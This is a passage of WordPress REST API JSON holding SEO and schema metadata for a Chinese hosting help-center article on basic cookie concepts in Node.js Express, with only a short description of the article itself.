name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/100613.html","og_locale":"zh_CN","og_type":"article","og_title":"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"Node\u7cfb\u5217 \u00b7 Express&#xff1a;cookie \u7684\u57fa\u672c\u6982\u5ff5Cookie \u662f Web \u6700\u53e4\u8001\u7684\u5ba2\u6237\u7aef\u5b58\u50a8\u673a\u5236\u2014\u2014\u6d4f\u89c8\u5668\u6bcf\u6b21\u8bf7\u6c42\u81ea\u52a8\u5e26\u4e0a\u540c\u6e90 Cookie\u3002\u672c\u7ae0\u8bb2\u6e05\u695a Cookie \u7684\u5de5\u4f5c\u539f\u7406\u3001\u5173\u952e\u5c5e\u6027\u3001\u5b89\u5168\u95ee\u9898\u3002\u4e00\u3001Cookie \u662f\u4ec0\u4e48 Cookie \u662f\u670d\u52a1\u5668\u4e0b\u53d1\u7ed9\u6d4f\u89c8\u5668\u7684\u5c11\u91cf\u6570\u636e&#xff0c;\u6d4f\u89c8\u5668\u81ea\u52a8\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u5e26\u56de\u53bb&#xff1a; \u670d\u52a1\u5668\u6d4f\u89c8\u5668\u670d\u52a1\u5668\u6d4f\u89c8\u5668#mermaid-svg-ewLg1f16IBsthEaF{font-family:\"trebuch","og_url":"https:\/\/www.wsisp.com\/helps\/100613.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-04T14:16:56+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/100613.html","url":"https:\/\/www.wsisp.com\/helps\/100613.html","name":"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-04T14:16:56+00:00","dateModified":"2026-09-04T14:16:56+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/100613.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/100613.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/100613.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"Node\u7cfb\u5217 \u00b7 Express\uff1acookie \u7684\u57fa\u672c\u6982\u5ff5"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/100613","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=100613"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/100613\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=100613"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=100613"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=100613"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=100613"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}